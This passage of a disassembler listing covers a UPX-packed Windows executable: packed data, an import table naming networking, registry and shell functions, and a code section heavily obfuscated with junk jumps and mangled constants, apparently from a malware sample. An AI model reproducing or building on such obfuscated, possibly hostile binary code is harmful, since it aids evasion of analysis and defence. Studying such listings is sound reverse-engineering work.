579AC15h dd 0E6FFFB7Eh, 9AC51918h, 43017BC9h, 2172AB42h, 411A4B71h dd 444113A5h, 0DF2C17D8h, 7149110Ch, 0F477AEF3h, 0D85F9B3h dd 11AF4201h, 0DCD3B781h, 5176F99Dh, 2A6BB941h, 109B062h dd 0B7DE78C2h, 20DD8044h, 0AFC7D122h, 0FF6E4552h, 23540DE5h dd 77086863h, 136C90h, 6FC6400h, 0B7F83315h, 6400ED84h dd 1115AAF5h, 9A31FD92h, 0DA13FB64h, 0E7B497Fh, 154C98FDh dd 0C2CB1998h, 98E32368h, 1B430574h, 0DB1BF046h, 6954988Bh dd 441541E9h, 0E81564EEh, 78D97F0Eh, 0E992F177h, 0D4941E15h dd 341C7B90h, 14AC87B6h, 2E09549Eh, 0EFFB7213h, 0D169676Fh dd 2CAB0936h, 494D7AC2h, 951E510Dh, 0B7B3379Ch, 0A61D184Dh dd 0FF56051Ch, 77FFECFFh, 65D1944Dh, 50D99A0Fh, 9C424665h dd 1E40015Ch, 0AFA8AB0Dh, 0FCBBDAE4h, 511B2BBBh, 4D0FD4FAh dd 7B8CD482h, 5F77C955h, 9AF17F68h, 0BAC69AEDh, 0BA48654Bh dd 4340ECF3h, 2FFE4143h, 760066FFh, 3785E03Dh, 42D6EF49h dd 0C710AB41h, 1EFBCF25h, 3D0BD65Bh, 36DE4296h, 0BB831D76h dd 94FC8FDBh, 0AB162047h, 0D01D57ABh, 0A7F21109h, 0B9CF02F7h dd 5D1C563Ah, 0B036BDDh, 9A419B27h, 0ED19313Dh, 43E0F9DAh dd 0CDDA9676h, 9EC7CB00h, 3FFEC391h, 888F6F04h, 0BAD8EDCAh dd 0A0E2F7C4h, 0FFEC1FAFh, 0C7C2F92Fh, 0CFB89395h, 0CEB18FEDh dd 0ECB5FBBDh, 0CF80AA83h, 40FFFC43h, 9FC6C63Eh, 0AB87FDD2h dd 0E1ECB8CAh, 89A284ABh, 9F92C006h, 119290CFh, 0D42189E7h dd 0B1DDBAFFh, 0C4A7BDE4h, 630A8FA6h, 0E2700081h, 77C373h dd 536AF417h, 83644CBAh, 64247B04h, 9BBF213Eh, 0C9949700h dd 0C211BECCh, 0C31193C4h, 58421E0Ah, 90B45017h, 9D8DF607h dd 9FEDD1B4h, 0C3C739B7h, 0A73B2AB1h, 0A8001A43h, 5E566D8Bh dd 38E84407h, 0DCF122CDh, 3E61509Fh, 0FE00B87h, 0A207A009h dd 4258583Ch, 0D858703Eh, 1F133729h, 8F553896h, 5E112B15h dd 0F03E16B5h, 0DD0A12C4h, 50964211h, 7FD351B0h, 60549160h dd 32310A8Ah, 3FC24C15h, 1AEB314Dh, 0CD2B4402h, 60762146h dd 623B79A7h, 4596CF22h, 0D0620378h, 765BA827h, 62541820h dd 7B02B67Eh, 2C8FAD0Fh, 312B6D2Bh, 1C123D10h, 52AB0F64h dd 6B0470C2h, 0CB0150D7h, 333E905Ch, 0FAA3DEDh, 0B8657810h dd 122C05E6h, 0F81B65B1h, 982038BFh, 0DD7D1789h, 2B403B33h dd 72A6A3h, 595B236Ch, 365A3A73h, 23473980h, 61807D79h dd 812D5724h, 6D43AB1Ah, 54D837B4h, 4BC6225h, 0A3066209h dd 0D578548Ah, 5A0A9274h, 981B1FCAh, 60211055h, 25113972h dd 6EF081A4h, 8AA110AAh, 6615D2CFh, 0B3DA9815h, 0D902F264h dd 3BC16612h, 6C398EADh, 852D0458h, 3B062058h, 64720919h dd 0C652687Ch, 51C25AC2h, 0E3B78A23h, 0AE58C00Dh, 2C64B03Ah dd 7833036Bh, 97B24AFh, 561A751Bh, 25BC0475h, 74200DDEh dd 0EE6507FFh, 683C5B61h, 6B272250h, 75292550h, 0E97EA5FFh dd 0B5777954h, 43567976h, 24793D76h, 67557D44h, 0A5FC1122h dd 57B76382h, 4957247Dh, 78624D41h, 16C0680Bh, 303F60h dd 0D9580268h, 2776C716h, 0B3005478h, 3105EB56h, 2E30606Ch dd 0F46E5004h, 42DD3438h, 504B15Eh, 1852DFF7h, 6061B23Fh dd 28A3522Dh, 2D0C011Dh, 70230F44h, 314D934Dh, 42C7A4Dh dd 6ABB6366h, 406C961Ch, 45E63E4Ch, 0A411931h, 0C1485016h dd 6C968804h, 0C8344521h, 0A64336C5h, 13055102h, 855B76A6h dd 3C41AF1Fh, 3097342Ch, 0D157B817h, 950F570Fh, 41386606h dd 0EC2F0F71h, 0D96DF95h, 4A344A00h, 4B0C4C4Fh, 361B0D98h dd 0C3333B43h, 13824ECAh, 0A5D9DB4Ah, 0CAB290ECh, 0D0911460h dd 82653296h, 401F5A7Dh, 31301830h, 0AFD231F2h, 1F868210h dd 502B5458h, 0C1D86A78h, 45527EEAh, 127D4131h, 9CAE0C02h dd 0CB6013DDh, 132B0586h, 9220365Bh, 0D95C314Dh, 0F607057Dh dd 85759C6h, 4078554Ah, 46A4AC2Ch, 172D01D7h, 73EA55Bh dd 8D149706h, 63719B3h, 0BD92358h, 745BBC2Eh, 24882720h dd 0EC77EF24h, 5C7F61D8h, 54315F42h, 580E3CF9h, 5FCB855h dd 73DA980h, 20292873h, 874D7228h, 31C7EC2Dh, 0FD65013Ch dd 71598488h, 2674241Fh, 0B8AC574h, 212165BBh, 255E63h dd 0B6CAA673h, 694C5CCCh, 77901B81h, 20332475h, 1B8C09C7h dd 6934B411h, 563D1F5Bh, 0BC640F18h, 1437610Fh, 0A04B7EFFh dd 9D00C13Ch, 7A034328h, 63663058h, 238048CBh, 0DD6D6074h dd 0B88E0A30h, 0C2647447h, 21A1780Ah, 313A3AF4h, 28142168h dd 39637F77h, 18AB8A98h, 4E423758h, 10D7107Ch, 0D5545BB7h dd 7008775Eh, 95818163h, 1CB4BD4Ah, 13362BBFh, 7F1EA480h dd 1608B0D5h, 0D6635782h, 47EDB58Bh, 58056765h, 0C96787DBh dd 0A27B4822h, 0AB716B42h, 4D8B8C14h, 0A2CB427h, 0EA5BB2D8h dd 0C3206164h, 660DCCA5h, 4B4C74DFh, 0C0A1099Ch, 4AD713CCh dd 18A3A86Ch, 0C81B1709h, 95D34D30h, 919D03B3h, 60C83269h dd 750727A7h, 8320C84Dh, 2D55410Ch, 320C82F9h, 390B2125h dd 6C19064h, 1D090731h, 19072720h, 0E5C9ED15h, 0E4F2720Ch dd 0C9F9D0EDh, 0C832C1F1h, 0D5DD8320h, 0E41C9CA9h, 0B9BD430Bh dd 0C832B1C9h, 81898320h, 83203699h, 7D69910Ch, 8320C833h dd 454D750Ch, 320C8080h, 820555Dh, 9B5B0700h, 105E8DEh dd 588C3383h, 51613152h, 131BA2C3h, 0B1851483h, 0EFD7755Fh dd 0E4E6C564h, 64310760h, 0BB7D723Ch, 0D06B8407h, 62070C29h dd 8ED32D68h, 3C13BB12h, 99AA9252h, 2BB7A368h, 3C59420Bh dd 132628DCh, 0B836F8Dh, 613EBB24h, 0E8057811h, 8A4D13B6h dd 7D0277DAh, 0C3839CD1h, 5BCC3F07h, 0F20BD150h, 7688A2Dh dd 899F063Ch, 650321E6h, 97BC6431h, 2CDA8969h, 9AF0E7Ah dd 0B0DC9057h, 132C2C67h, 306C8908h, 5F13DE02h, 0C4134F2Ch dd 3115376Ch, 5A944D2Bh, 78F7BDF4h, 0A3506877h, 81835C07h dd 48BDF660h, 8B07610Bh, 37B37CB4h, 42084F6Dh, 5A985E61h dd 61C0CA9h, 9AC949F8h, 2BF60A30h, 0EF584D62h, 64482F89h dd 1D747732h, 802C196Ch, 62428E7Dh, 3810267Fh, 23B78DA2h dd 0F6448F96h, 0CBEB2833h, 17FC6183h, 85A24B0Ah, 0EEF7DFABh dd 6403A5BDh, 1FFFFF8Ch, 8FB0D30Ch, 0C9C7BE18h, 0C9FC29E8h dd 234C49DFh, 6543FECCh, 0C8CCC7C0h, 0D4B39E99h, 136C90E0h dd 83DB8843h, 51001127h, 0D0A2BFC9h, 0E0CEC994h, 0A3E34311h dd 1D735A5Ah, 0F2545310h, 0C49284FFh, 0EDD8E0C2h, 0A3EDBD81h dd 9822CD9h, 0CECEB7FFh, 0CAB1C5E3h, 12DF01ADh, 742F8207h dd 0A2186178h, 8396C103h, 97406C6h, 45EBA03Eh, 61D9517Dh dd 173662C6h, 1A17A145h, 72877F07h, 2598283Dh, 0ABE588F4h dd 5837207Ah, 5DC8D92Bh, 69054D8Ch, 6226934h, 0B8203FF8h dd 2C717903h, 459ECE1Ah, 749F010Ah, 297F3FD7h, 8C03A2Bh dd 3F5063ADh, 4E47502Eh, 81AAA4FDh, 20744E60h, 81A6751h dd 0C1F3606h, 19A32A4Eh, 0DD1EB70Ah, 81651168h, 2AA016FAh dd 0FF00AEA1h, 52500041h, 2464FF68h, 0FFFF68F0h, 0FF589BFFh dd 408B50D4h, 95B005F2h dd 850F95F6h, 0FFBB8101h, 4167F168h, 1000BF00h, 0FFB73440h dd 0B900F6h, 37800970h, 0CF394753h, 8011F875h, 5D20E041h dd 0E811F235h, 0B08AC351h, 0FF0E5101h, 0E42A39BFh, 16030h dd 74654701h, 73726556h, 0FBA56F69h, 456EF23Fh, 6F4C4178h dd 656C6163h, 6F666E49h, 0EEF6530Fh, 7543FFB7h, 6E657272h dd 5694474h, 726F7463h, 736C1579h, 76227274h, 6ED9FF60h dd 6E69572Fh, 73776F64h, 0CD0A431Fh, 5082ADDAh, 22236946h dd 0FEF65BF6h, 6D695409h, 190C4F65h, 0DE4A7953h, 65EC0DBFh dd 617E3B6Dh, 62694C64h, 5B0D6172h, 22FDBDBBh, 41907250h dd 73216464h, 69A40F73h, 62C7D97Bh, 6F430C10h, 4C647970h dd 7B374A61h, 0AA456D6Bh, 72570D45h, 0EC707E69h, 48B7B6C9h dd 8E506863h, 69509768h, 0DF807C70h, 4FD9D9B2h, 656D6F12h dd 802342EDh, 0A0614E10h, 70085B30h, 0B60F20B3h, 0B6C31A6Bh dd 4364EC97h, 23643490h, 6E566EB6h, 7A6552BFh, 75194D1Dh dd 0DC2BD96Fh, 2161480Ah, 2C2011A5h, 6260DB61h, 3C6E484Fh dd 50CE0B0Ch, 10164D18h, 776568C0h, 7097CACBh, 6D726554h dd 6F6C9B8Ch, 12F0A173h, 41575A66h, 243B9874h, 0C05CFDA1h dd 106544ACh, 6D86A285h, 0CE46D523h, 7FFBD465h, 6CE1AD73h dd 6D6E550Dh, 69567061h, 664F7765h, 0B096EB6h, 0CB0E4D3Bh dd 0F6DACF18h, 678270B6h, 4D627AC7h, 7F7453A1h, 1E6C2617h dd 73C63C75h, 7053626Bh, 0C3B6DD61h, 444EA268h, 796C7690h dd 170B0A70h, 63F9FF82h, 75752F6Bh, 0DDBB46B5h, 0D375510Dh dd 68035079h, 75ADB2DAh, 3A31C6ADh, 79081271h, 30DDA11Ah dd 0D96531B6h, 0B4427349h, 84B6486Fh, 0CC14E816h, 0D0B6EDB9h dd 99698DB5h, 72317A69h, 0C3820009h, 5853F2D1h, 29F7EFDCh dd 2F49DD7Bh, 442A5545h, 106C7075h, 4206310Ch, 0BC595D74h dd 12619E9Eh, 0E2654D11h, 905B630Bh, 9873596h, 5B765A16h dd 0D51ADBA3h, 56706D4Dh, 76629482h, 860ECC68h, 44906223h dd 0D91A59A7h, 0F197A576h, 6EDDEE00h, 4167091Bh, 6C3A6D75h dd 0FC0E3775h, 0CE09B011h, 654B3910h, 0C22C5879h, 330E683Bh dd 2CD8111Eh, 0FB66E61h, 21732B8h, 55A36EC6h, 74A2E973h dd 50D75852h, 6D456272h, 1474DB6Eh, 2979AC1Ch, 61526EE2h dd 63410F6Dh, 2B586CC7h, 5924D9A5h, 0B366B58Bh, 0FEC058BDh dd 0D95F6114h, 2B9C15CEh, 94F006C9h, 0B42C0AF2h, 7843E196h dd 7E2BA878h, 9ABB707Fh, 3F6A27E3h, 1B74313Fh, 40406E2Ch dd 0FDCF1AE0h, 40454155h, 2A295A58h, 0C6C3990Eh, 0EA819866h dd 766D6D0Ah, 0DCD1EF7Dh, 48236404h, 0B6C50602h, 766C9BC2h dd 4C706E73h, 0DE2A6692h, 6F8B5B7Bh, 3B77957Fh, 0FBE61032h dd 7420CDFFh, 41594032h, 49584150h, 330D5A40h, 0B9ED61EDh dd 470D0E58h, 0D7625F25h, 70C5AEB1h, 0FE85909h, 0DBEEB665h dd 685FD9DAh, 0E113392h, 68667A69h, 6B619D6Dh, 31691D06h dd 63756C2Ch, 8D9B2DCEh, 98F56E73h, 5B2E0213h, 730776D7h dd 610F4363h, 73666938h, 0B9C330A1h, 6C10654h, 0EEAF7D5h dd 5163069Dh, 7CA7707h, 35ACDAC5h, 35C95704h, 75CC97E2h dd 25071DAEh, 75B33B63h, 877BDEEBh, 5507201Dh, 74946D3Dh dd 0B62C0C13h, 0CD699C94h, 0AE2E59B6h, 0FFC80109h, 0D0160BC8h dd 0FB828D1h, 6C6853BAh, 381D93A4h, 41E2D6CDh, 0C9D82217h dd 285A6813h, 8D721504h, 0E179F664h, 43914F0Bh, 6C417211h dd 754E1770h, 8EB0416Dh, 7712EB42h, 0C66B5891h, 2D542181h dd 0B4DB3B49h, 85E60C5h, 67618B4Dh, 9ED96568h, 0F48C2DEEh dd 1970204h, 96596596h, 13021516h, 96590A05h, 0C175965h dd 65386F33h, 12659659h, 34097003h, 96596596h, 8100B06h dd 0A3B67414h, 0FD115B7Ch, 49415357h, 239FF25h, 0CB4EDCBBh dd 3630D73h, 14C4550h, 99FF486Ah, 0CFC4C07Bh, 0E00009h dd 10B010Fh, 10528206h, 8200ECDBh, 8B020913h, 376CDD66h dd 40001370h, 1E04120Bh, 0C96B2ECDh, 2141707h, 0B788CB10h dd 90702ECh, 805DB67h, 173C8F9h, 70A7A000h, 0DDD91E02h dd 0B62E0AE9h, 15FE707h, 0C2E1B890h, 2304EBBEh, 722E0A20h dd 6B043C64h, 23616AD8h, 6403FB0Eh, 0ECB9AF7Dh, 262E4002h dd 253F70CFh, 8027D34Dh, 53C07460h, 0D9595243h, 50C21B67h dd 4BA00454h, 0F07701D4h, 3D1BA365h, 3766E02h, 207h, 0 dd 0FF004800h, 7000BE60h, 0BE8D0041h, 0FFFEA000h, 0FFCD8357h dd 909010EBh, 90909090h, 8846068Ah, 0DB014707h, 1E8B0775h dd 11FCEE83h, 0B8ED72DBh, 1, 775DB01h, 0EE831E8Bh, 11DB11FCh dd 73DB01C0h, 8B0975EFh, 0FCEE831Eh, 0E473DB11h, 0E883C931h dd 0C10D7203h, 68A08E0h, 0FFF08346h, 0C5897474h, 775DB01h dd 0EE831E8Bh, 11DB11FCh, 75DB01C9h, 831E8B07h, 0DB11FCEEh dd 2075C911h, 75DB0141h, 831E8B07h, 0DB11FCEEh, 0DB01C911h dd 975EF73h, 0EE831E8Bh, 73DB11FCh, 2C183E4h, 0F300FD81h dd 0D183FFFFh, 2F148D01h, 76FCFD83h, 42028A0Fh, 49470788h dd 63E9F775h, 90FFFFFFh, 0C283028Bh, 83078904h, 0E98304C7h dd 1F17704h, 0FF4CE9CFh, 895EFFFFh, 2BB9F7h, 78A0000h dd 3CE82C47h, 8BF77701h, 45F8A07h, 0C0C1C486h, 29C48610h dd 0E8EB80F8h, 789F001h, 8805C783h, 8DE0E2D8h, 20000BEh dd 9078B00h, 8B4574C0h, 848D045Fh, 2200030h, 50F30100h dd 0FF08C783h, 220A096h, 78A9500h, 74C00847h, 79F989DCh dd 7B70F07h, 0B9475047h, 0AEF24857h, 0A496FF55h, 9000220h dd 890774C0h, 4C38303h, 96FFD8EBh, 220ACh, 20A8AE8Bh, 0BE8D0002h dd 0FFFFF000h, 1000BBh, 6A545000h, 0FF575304h, 0F878DD5h dd 80000002h, 60807F20h, 50587F28h, 57535054h, 6158D5FFh dd 8024448Dh, 0C439006Ah, 0EC83FA75h, 0D19FE980h, 0FFFFh dd 67h dup(0) UPX1 ends ; Section 3. (virtual address 00023000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00023000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write UPX2 segment para public 'DATA' use32 assume cs:UPX2 ;org 423000h dd 3 dup(0) dd 230E4h, 230A0h, 3 dup(0) dd 230F1h, 230B4h, 3 dup(0) dd 230FEh, 230BCh, 3 dup(0) dd 23109h, 230C4h, 3 dup(0) dd 23116h, 230CCh, 3 dup(0) dd 23122h, 230D4h, 3 dup(0) dd 2312Dh, 230DCh, 5 dup(0) dd 23138h, 23146h, 23156h, 23166h, 0 dd 23174h, 0 dd 23182h, 0 dd 800000C8h, 0 dd 23188h, 0 dd 23198h, 0 dd 8000000Dh, 0 aKernel32_dll db 'KERNEL32.DLL',0 aAdvapi32_dll db 'ADVAPI32.dll',0 aMsvcrt_dll db 'MSVCRT.dll',0 aOleaut32_dll db 'OLEAUT32.dll',0 aShell32_dll db 'SHELL32.dll',0 aUser32_dll db 'USER32.dll',0 aWs2_32_dll db 'WS2_32.dll',0 dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h, 41636F72h dd 65726464h, 7373h, 74726956h, 506C6175h, 65746F72h, 7463h dd 74697845h, 636F7250h, 737365h, 65520000h, 6F6C4367h dd 654B6573h, 79h, 6C696563h, 68530000h, 456C6C65h, 75636578h dd 416574h, 73770000h, 6E697270h, 416674h, 397h dup(0) UPX2 ends ; --------------------------------------------------------------------------- ; Section 4. (virtual address 00024000) ; Virtual size : 0000D000 ( 53248.) ; Section size in file : 0000D000 ( 53248.) ; Offset to raw data for section: 00024000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute wto1jq8f segment para public 'CODE' use32 assume cs:wto1jq8f ;org 424000h ; START OF FUNCTION CHUNK FOR sub_42CFE2 assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing loc_424000: ; CODE XREF: sub_42CFE2:loc_42E75Bj jnz loc_42BF6F call sub_427A9E call sub_424585 mov edx, 0CF0182F6h call sub_426C04 mov ds:dword_42DB0C, eax jmp loc_42BF6F ; END OF FUNCTION CHUNK FOR sub_42CFE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_424024: ; CODE XREF: sub_42A909+6AAj rol ebx, 0Bh loc_424027: ; CODE XREF: sub_42A909:loc_42B297j push esi push 291D3546h pop esi and esi, 0C19A98D3h rol esi, 1Ah add esi, 0F83E1561h xchg esi, [esp+4+var_4] jmp sub_4264F4 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- push eax and ebx, 0A2CAF055h jmp near ptr sub_42B5C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_424051: ; CODE XREF: sub_426535-A9Cj xchg esi, [esp+0] push 0 push 10h mov eax, [ebp+8] push offset loc_42CD61 jmp loc_427FE9 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- mov eax, ecx jmp sub_42D368 ; --------------------------------------------------------------------------- mov edx, 9E99B23Eh call sub_429165 push eax rol eax, 17h mov ds:dword_42E528, eax retn ; --------------------------------------------------------------------------- loc_424081: ; CODE XREF: wto1jq8f:0042E207j jmp loc_427CA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_424086: ; CODE XREF: sub_4267AE:loc_42A0ACj push eax call sub_42408D retn ; END OF FUNCTION CHUNK FOR sub_4267AE ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42408D proc near ; CODE XREF: sub_4267AE-2727p ; FUNCTION CHUNK AT 0042598D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00428EEF SIZE 00000005 BYTES push ebp mov ebp, esp push ecx jmp loc_428EEF sub_42408D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D44C loc_424097: ; CODE XREF: sub_42D44C+13j mov eax, [ebp-14h] mov [ebp-0Ch], eax mov eax, [ebp-20h] movzx eax, byte ptr [eax] mov [ebp-1Ch], eax inc dword ptr [ebp-20h] jmp loc_426EC4 ; END OF FUNCTION CHUNK FOR sub_42D44C ; --------------------------------------------------------------------------- xor ebp, 0B946E1FDh jmp sub_425944 ; --------------------------------------------------------------------------- mov eax, 0A41EFBE4h jmp sub_42CF6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_4240C3: ; CODE XREF: sub_429281:loc_42955Cj jmp loc_427181 ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- jmp loc_428361 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_4240CD: ; CODE XREF: sub_429281:loc_42E7BBj call sub_426144 jmp loc_42C2B3 ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D397 loc_4240D7: ; CODE XREF: sub_42D397+1j jmp loc_42BAF1 ; END OF FUNCTION CHUNK FOR sub_42D397 ; =============== S U B R O U T I N E ======================================= sub_4240DC proc far ; CODE XREF: wto1jq8f:0042CA6Fj ; sub_4276C3:loc_42E2F5p ; FUNCTION CHUNK AT 00425A7E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425CCE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00427158 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428106 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C2CD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CC60 SIZE 00000026 BYTES mov [esp+0], eax pop eax push 2 push 0F08CCD4Bh pop eax jmp loc_42CC60 sub_4240DC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB75 loc_4240ED: ; CODE XREF: sub_42BB75:loc_42AFC8j mov ebp, offset sub_4240F6 xchg ebp, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_42BB75 ; =============== S U B R O U T I N E ======================================= sub_4240F6 proc near ; DATA XREF: sub_42BB75:loc_4240EDo push offset sub_429471 jmp nullsub_169 sub_4240F6 endp ; --------------------------------------------------------------------------- jz loc_42911E jmp loc_424FA8 ; --------------------------------------------------------------------------- cmp edx, ebp jmp loc_42832D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D82 loc_424112: ; CODE XREF: sub_427D82:loc_42C3F3j add eax, 0FF41A268h add eax, ebp add eax, 0C313D3Bh push offset loc_427A30 jmp loc_4274E5 ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- loc_42412A: ; CODE XREF: wto1jq8f:0042E21Dj add ecx, 0F7F7467Dh ; START OF FUNCTION CHUNK FOR sub_42CF6A loc_424130: ; CODE XREF: sub_42CF6A+4j xor edx, 606E79AAh and edx, esi adc esi, edi jmp loc_42601E ; END OF FUNCTION CHUNK FOR sub_42CF6A ; --------------------------------------------------------------------------- loc_42413F: ; DATA XREF: sub_4263B3-1CF9o xchg ebx, [esp] jmp sub_424585 ; --------------------------------------------------------------------------- loc_424147: ; CODE XREF: wto1jq8f:0042E52Cj push edi mov [esp], eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42414C proc near ; CODE XREF: sub_42DA7A-1BA9p push ebp mov ebp, esp jmp near ptr loc_42FE5A+1 sub_42414C endp ; --------------------------------------------------------------------------- loc_424154: ; CODE XREF: wto1jq8f:loc_42817Ej pop ecx sub ecx, 0A13AB98Eh add ecx, 9FC2DA0h push offset sub_42DF80 jmp locret_425A61 ; --------------------------------------------------------------------------- loc_42416B: ; CODE XREF: wto1jq8f:0042D3BFj jnz loc_424934 jmp loc_429B06 ; --------------------------------------------------------------------------- mov ebx, eax or edx, 2CDC585Ah jmp sub_42EDB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_424183: ; CODE XREF: wto1jq8f:00425D3Fj ; sub_4267AE+Bj jno loc_427BB8 call near ptr sub_42CB36 test al, al jz loc_42E993 jmp loc_42A0C8 ; END OF FUNCTION CHUNK FOR sub_4267AE ; =============== S U B R O U T I N E ======================================= sub_42419B proc near ; CODE XREF: sub_428BC4-DDBp ; wto1jq8f:004281FCj arg_0 = dword ptr 4 mov [esp+0], eax pop eax xchg ecx, [esp-4+arg_0] retn sub_42419B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429308 loc_4241A3: ; CODE XREF: sub_429308+Bj call sub_425C5F loc_4241A8: ; CODE XREF: wto1jq8f:0042E1C7j jmp loc_424527 ; END OF FUNCTION CHUNK FOR sub_429308 ; --------------------------------------------------------------------------- push ecx push 66B40230h pop ecx rol ecx, 7 jmp loc_42FBEF ; --------------------------------------------------------------------------- mov edx, edi pop edi pop ecx pop eax jmp loc_425A67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_4241C6: ; CODE XREF: sub_42A909+994j cmp edi, eax jmp loc_42AFA5 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428DDD loc_4241CD: ; CODE XREF: sub_428DDD:loc_42A486j jnz loc_42AE7F jmp loc_4270DC ; END OF FUNCTION CHUNK FOR sub_428DDD ; --------------------------------------------------------------------------- adc edi, eax jmp sub_42BB58 ; --------------------------------------------------------------------------- loc_4241DF: ; CODE XREF: wto1jq8f:0042A8E6j add ebx, 98D2CBA8h xchg ebx, [esp] jmp sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4241ED: ; CODE XREF: sub_426535+1E22j push 0B2F7055h pop ebx add ebx, 0F51320FBh xchg ebx, [esp+0Ch+var_C] jmp loc_42D289 ; --------------------------------------------------------------------------- loc_424201: ; CODE XREF: sub_426535:loc_42C66Bj push 7A3D2B78h jmp loc_42A167 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_42420B: ; CODE XREF: wto1jq8f:0042BFB7j jnz loc_42C356 ; START OF FUNCTION CHUNK FOR sub_4282C1 loc_424211: ; CODE XREF: sub_4282C1+10j jmp loc_42E850 ; END OF FUNCTION CHUNK FOR sub_4282C1 ; --------------------------------------------------------------------------- or eax, ecx mov ecx, edi add esi, 97664A10h jmp loc_42C356 ; --------------------------------------------------------------------------- db 85h, 0EAh, 0E9h dd 0B57Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42422C: ; CODE XREF: sub_4269FD:loc_429F70j jnz loc_42B6CF ; END OF FUNCTION CHUNK FOR sub_4269FD ; =============== S U B R O U T I N E ======================================= sub_424232 proc far ; CODE XREF: sub_4270C0+6p xchg ecx, [esp+0] pop ecx jnz loc_424FC7 jmp loc_42D5F4 sub_424232 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_424241: ; CODE XREF: wto1jq8f:004268D5j jl loc_42EC15 jg loc_42A337 push 0C9FFAB8Eh jmp loc_42EC09 ; --------------------------------------------------------------------------- loc_424257: ; CODE XREF: wto1jq8f:loc_42A740j or edi, 87B8AFF1h sub edi, 0BD4E4A93h test edi, 2000000h jmp loc_42FA8E ; --------------------------------------------------------------------------- loc_42426E: ; CODE XREF: wto1jq8f:0042CE22j shl ebx, 15h jmp loc_424EE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426313 loc_424276: ; CODE XREF: sub_426313:loc_429160j jz loc_42DC52 jmp loc_4296DE ; END OF FUNCTION CHUNK FOR sub_426313 ; --------------------------------------------------------------------------- loc_424281: ; CODE XREF: wto1jq8f:0042D7B5j and ebp, 0A6341EF9h test edx, ebx jmp loc_429E18 ; --------------------------------------------------------------------------- locret_42428E: ; CODE XREF: wto1jq8f:loc_42D83Fj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4290CF loc_42428F: ; CODE XREF: sub_4290CF+14j jmp loc_42E8B4 ; END OF FUNCTION CHUNK FOR sub_4290CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_424294: ; CODE XREF: sub_429281:loc_42431Fj ; wto1jq8f:loc_42816Aj ... pop large dword ptr fs:0 add esp, 4 retn ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- loc_42429F: ; CODE XREF: wto1jq8f:00427BE2j jmp locret_42B03C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_4242A4: ; CODE XREF: sub_429281:loc_42928Ej push large dword ptr fs:0 jmp loc_42ADF5 ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- push eax push offset sub_42CDE2 jmp loc_427A13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_4242BB: ; CODE XREF: sub_429BD3+3C32j push eax call loc_42DE1F loc_4242C1: ; CODE XREF: wto1jq8f:loc_4299F1j call sub_429165 push eax rol eax, 3 mov dword ptr ds:loc_42F1EC, eax retn ; END OF FUNCTION CHUNK FOR sub_429BD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_4242D1: ; CODE XREF: sub_42BE69+10j jmp loc_42C9D4 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; =============== S U B R O U T I N E ======================================= sub_4242D6 proc near ; CODE XREF: sub_42727F:loc_42749Fj ; sub_42704E+8DEp ... ; FUNCTION CHUNK AT 0042AB5B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042CBC1 SIZE 00000005 BYTES js sub_4294F4 jmp loc_42CBC1 